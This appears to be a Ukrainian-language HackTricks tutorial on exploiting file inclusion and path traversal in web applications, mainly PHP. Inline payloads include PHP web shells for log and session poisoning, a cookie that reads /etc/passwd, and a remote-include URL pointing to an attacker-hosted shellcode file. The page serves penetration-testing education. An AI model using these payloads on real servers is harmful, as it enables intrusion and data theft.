File Inclusion/Path traversal
Last updated
Last updated
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Хакерські інсайти Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
Новини хакерства в реальному часі Будьте в курсі швидкоплинного світу хакерства через новини та інсайти в реальному часі
Останні оголошення Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
Віддалене включення файлів (RFI): Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це вимкнено за замовчуванням (allow_url_include). Локальне включення файлів (LFI): Сервер завантажує локальний файл.
Вразливість виникає, коли користувач може контролювати якимось чином файл, який буде завантажено сервером.
Вразливі PHP функції: require, require_once, include, include_once
Цікаві інструменти для експлуатації цієї вразливості: https://github.com/kurobeats/fimap
Змішуючи кілька списків LFI для *nix і додаючи більше шляхів, я створив цей:
Спробуйте також змінити /
на \
Спробуйте також додати ../../../../../
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти тут
Злиття різних списків слів:
Спробуйте також змінити /
на \
Спробуйте також видалити C:/
і додати ../../../../../
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти тут
Перевірте список LFI для linux.
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=http://myserver.com/phpshellcode.txt\.
Обійти додавання більше символів в кінець наданого рядка (обхід: $_GET['param']."php")
Це вирішено з PHP 5.4
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
Можливо, бекенд перевіряє шлях до папки:
Файлова система сервера може бути досліджена рекурсивно для виявлення директорій, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
Визначте глибину директорії: Визначте глибину вашої поточної директорії, успішно отримавши файл /etc/passwd
(застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
Дослідження папок: Додайте назву підозрюваної папки (наприклад, private
) до URL, а потім перейдіть назад до /etc/passwd
. Додатковий рівень каталогу вимагає збільшення глибини на один:
Інтерпретація Результатів: Відповідь сервера вказує, чи існує папка:
Помилка / Немає Виводу: Папка private
, ймовірно, не існує за вказаним місцем.
Вміст /etc/passwd
: Наявність папки private
підтверджена.
Рекурсивне Дослідження: Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить /var/www/
каталог private
(припускаючи, що поточний каталог на глибині 3), використовуйте:
Скорочення шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад:
/etc/passwd
, /etc//passwd
, /etc/./passwd
та /etc/passwd/
всі розглядаються як один і той же шлях.
Коли останні 6 символів - це passwd
, додавання /
(перетворюючи його на passwd/
) не змінює цільовий файл.
Аналогічно, якщо до шляху файлу додається .php
(як shellcode.php
), додавання /.
в кінці не змінить файл, до якого здійснюється доступ.
Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до /etc/passwd
, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера.
Використання крапкових сегментів та додаткових символів: Послідовності переходів (../
), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
Визначення необхідної кількості переходів: Через проби та помилки можна знайти точну кількість послідовностей ../
, необхідних для навігації до кореневої директорії, а потім до /etc/passwd
, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от .php
), але залишаючи бажаний шлях (/etc/passwd
) незмінним.
Початок з фейкової директорії: Це поширена практика починати шлях з неіснуючої директорії (як-от a/
). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляху сервера.
При використанні технік скорочення шляху важливо розуміти поведінку парсингу шляху сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
Цю вразливість виправлено в PHP 5.3.
В php це вимкнено за замовчуванням, оскільки allow_url_include
є Вимкнено. Він повинен бути Увімкнено, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
Якщо з якоїсь причини allow_url_include
увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, згідно з цим постом, ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP b64 і отримання RCE:
У попередньому коді фінальний +.txt
був доданий, оскільки зловмиснику потрібен рядок, який закінчується на .txt
, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включений (і, отже, виконаний).
Інший приклад без використання протоколу php://
буде:
В Python в коді, подібному до цього:
Якщо користувач передає абсолютний шлях до file_name
, попередній шлях просто видаляється:
Це передбачена поведінка відповідно до документації:
Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і з'єднання продовжується з компонента абсолютного шляху.
Схоже, що якщо у вас є Path Traversal в Java і ви запитуєте директорію замість файлу, повертається список директорії. Це не відбуватиметься в інших мовах (наскільки мені відомо).
Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з посилання):
PHP фільтри дозволяють виконувати базові операції модифікації даних перед їх читанням або записом. Є 5 категорій фільтрів:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Видаляє теги з даних (все між символами "<" та ">")
Зверніть увагу, що цей фільтр зник з сучасних версій PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Перетворює в іншу кодування (convert.iconv.<input_enc>.<output_enc>
). Щоб отримати список всіх підтримуваних кодувань, запустіть у консолі: iconv -l
Зловживаючи фільтром перетворення convert.iconv.*
, ви можете генерувати довільний текст, що може бути корисним для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте LFI2RCE через php фільтри.
zlib.deflate
: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
zlib.inflate
: Розпаковує дані
mcrypt.*
: Застарілий
mdecrypt.*
: Застарілий
Інші фільтри
Запустивши в php var_dump(stream_get_filters());
, ви можете знайти кілька неочікуваних фільтрів:
consumed
dechunk
: скасовує кодування HTTP chunked
convert.*
Частина "php://filter" нечутлива до регістру
У цьому пості пропонується техніка для читання локального файлу без повернення виходу від сервера. Ця техніка базується на логічній ексфільтрації файлу (символ за символом) з використанням фільтрів php як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок:
Використовуйте кодек UCS-4LE
, щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим.
Це буде використано для генерації тексту настільки великого, коли початкова літера вгадана правильно, що php викличе помилку.
Фільтр dechunk видалить все, якщо перший символ не є шістнадцятковим, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера a
, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
Використовуючи інші перетворення, такі як rot13 на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
Коли початковий символ є числом, потрібно закодувати його в base64 і витікати перші 2 літери, щоб витікати число.
Остаточна проблема полягає в тому, як витікати більше, ніж початкова літера. Використовуючи фільтри пам'яті порядку, такі як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
І для того, щоб мати можливість отримати додаткові дані, ідея полягає в тому, щоб згенерувати 2 байти сміттєвих даних на початку з convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб зробити його опорним з наступними 2 байтами, і видалити дані до сміттєвих даних (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
У пості також був витікнутий інструмент для автоматичного виконання цього: php_filters_chain_oracle_exploit.
Цей обгортка дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:
Ви також можете використовувати php://stdin, php://stdout та php://stderr для доступу до дескрипторів файлів 0, 1 та 2 відповідно (не впевнений, як це може бути корисно в атаці)
Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ. Щоб мати можливість зловживати протоколом rar, його необхідно спеціально активувати.
Зверніть увагу, що цей протокол обмежений конфігураціями php allow_url_open
та allow_url_include
Expect має бути активовано. Ви можете виконати код, використовуючи це:
Вкажіть ваш payload у параметрах POST:
Файл .phar
може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як include
, для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу .phar
:
Щоб скомпілювати файл .phar
, потрібно виконати таку команду:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції такі як file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, або filesize()
, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу phar
.
Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів .phar
, зверніться до документа, що наведений нижче:
Phar Deserialization Exploitation Guide
phar:// deserializationБуло можливим зловживати будь-яким довільним читанням файлів з PHP, що підтримує фільтри php, щоб отримати RCE. Детальний опис можна знайти в цьому пості.
Дуже короткий підсумок: 3-байтовий переповнення в купі PHP було зловжито для зміни ланцюга вільних частин специфічного розміру, щоб мати можливість записувати що завгодно в будь-яку адресу, тому був доданий хуки для виклику system
.
Було можливим виділяти частини специфічних розмірів, зловживаючи більше фільтрів php.
Check more possible protocols to include here:
php://memory and php://temp — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
file:// — Доступ до локальної файлової системи
http:// — Доступ до HTTP(s) URL
ftp:// — Доступ до FTP(s) URL
zlib:// — Потоки стиснення
glob:// — Знайти імена шляхів, що відповідають шаблону (не повертає нічого, що можна надрукувати, тому не дуже корисно тут)
ssh2:// — Secure Shell 2
ogg:// — Аудіопотоки (не корисно для читання довільних файлів)
Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи обходу директорій, такі як "..", перевіряються, але не очищуються належним чином.
Наприклад, код PHP може бути спроектований для запобігання обходу директорій таким чином:
Хоча це має на меті зупинити перетворення, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
Аналогічно, для виконання довільних системних команд можна використовувати:
Важливо URL-кодувати ці payloads.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Інсайти з хакінгу Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
Новини про хакінг у реальному часі Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
Останні оголошення Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
Ця техніка актуальна в випадках, коли ви контролюєте шлях до файлу функції PHP, яка доступається до файлу, але ви не побачите вміст файлу (як простий виклик file()
), але вміст не відображається.
У цьому неймовірному пості пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для екстракції вмісту файлу через помилковий оракул.
У підсумку, техніка використовує "UCS-4LE" кодування, щоб зробити вміст файлу таким великим, що функція PHP, що відкриває файл, викличе помилку.
Потім, щоб витягти перший символ, використовується фільтр dechunk
разом з іншими, такими як base64 або rot13, а в кінці використовуються фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE, щоб помістити інші символи на початку та витягти їх.
Функції, які можуть бути вразливими: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (тільки для читання з цим)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Для технічних деталей перевірте згаданий пост!
Пояснено раніше, перейдіть за цим посиланням.
Якщо сервер Apache або Nginx є вразливим до LFI, всередині функції включення ви можете спробувати отримати доступ до /var/log/apache2/access.log
або /var/log/nginx/access.log
, встановивши всередині user agent або всередині GET параметра php shell, як <?php system($_GET['c']); ?>
і включити цей файл
Зверніть увагу, що якщо ви використовуєте подвійні лапки для shell замість одинарних лапок, подвійні лапки будуть змінені на рядок "quote;", PHP викине помилку там і нічого іншого не буде виконано.
Також переконайтеся, що ви правильно написали payload, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
Це також можна зробити в інших журналах, але будьте обережні, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок авторизації "basic" містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка. Інші можливі шляхи до журналів:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Надішліть листа на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>
, і спробуйте включити до листа користувача шлях, наприклад /var/mail/<USERNAME>
або /var/spool/mail/<USERNAME>
Завантажте багато shell'ів (наприклад: 100)
Включіть http://example.com/index.php?page=/proc/$PID/fd/$FD, де $PID = PID процесу (можна перебрати) і $FD - дескриптор файлу (також можна перебрати)
Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ
Якщо ви можете завантажити файл, просто вставте в нього оболонку (наприклад: <?php system($_GET['c']); ?>
).
Щоб зберегти файл читабельним, найкраще впроваджувати в метадані зображень/doc/pdf
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
Перевірте, чи використовує веб-сайт PHP Session (PHPSESSID)
В PHP ці сесії зберігаються у /var/lib/php5/sess\[PHPSESSID]_ файлах
Встановіть cookie на <?php system('cat /etc/passwd');?>
Використовуйте LFI для включення файлу сесії PHP
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa
Логи для FTP сервера vsftpd знаходяться за адресою /var/log/vsftpd.log. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки:
Впровадьте PHP payload у поле імені користувача під час процесу входу.
Після впровадження використовуйте LFI для отримання логів сервера з /var/log/vsftpd.log.
Як показано в цьому артикулі, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
Цей опис пояснює, що ви можете використовувати php фільтри для генерації довільного контенту як виходу. Це в основному означає, що ви можете генерувати довільний php код для включення без необхідності записувати його у файл.
LFI2RCE via PHP FiltersЗавантажте файл, який буде збережено як тимчасовий у /tmp
, потім у тому ж запиті викличте сегментаційну помилку, і тоді тимчасовий файл не буде видалено і ви зможете його знайти.
Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
LFI2RCE via Nginx temp filesЯкщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start
вимкнено. Якщо ви надасте PHP_SESSION_UPLOAD_PROGRESS
у multipart POST даних, PHP включить сесію для вас. Ви можете зловживати цим, щоб отримати RCE:
Якщо ви знайшли Local File Inclusion і сервер працює в Windows, ви можете отримати RCE:
LFI2RCE Via temp file uploadspearcmd.php
+ URL argsЯк пояснюється в цьому пості, скрипт /usr/local/lib/phppearcmd.php
існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має =
, його слід використовувати як аргумент.
Наступний запит створює файл у /tmp/hello.php
з вмістом <?=phpinfo()?>
:
Наступне зловживає вразливістю CRLF для отримання RCE (з тут):
Якщо ви знайшли Local File Inclusion і файл, що показує phpinfo() з file_uploads = on, ви можете отримати RCE:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Витік шляхуЯкщо ви знайшли Local File Inclusion і ви можете ексфільтрувати шлях до тимчасового файлу, АЛЕ сервер перевіряє, чи файл, що включається, має PHP мітки, ви можете спробувати обійти цю перевірку за допомогою цього Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureЯкщо ви можете зловживати LFI для завантаження тимчасових файлів і змусити сервер зависнути виконання PHP, ви могли б тоді брутфорсити імена файлів протягом годин, щоб знайти тимчасовий файл:
LFI2RCE via Eternal waitingЯкщо ви включите будь-який з файлів /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
Я не знаю, як це корисно, але це може бути. Навіть якщо ви викликаєте PHP Фатальну Помилку, тимчасові файли PHP, що завантажуються, видаляються.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
Інсайти з хакінгу Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
Новини про хакінг в реальному часі Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
Останні оголошення Будьте в курсі нових програм винагород за баги та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
Вчіться та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)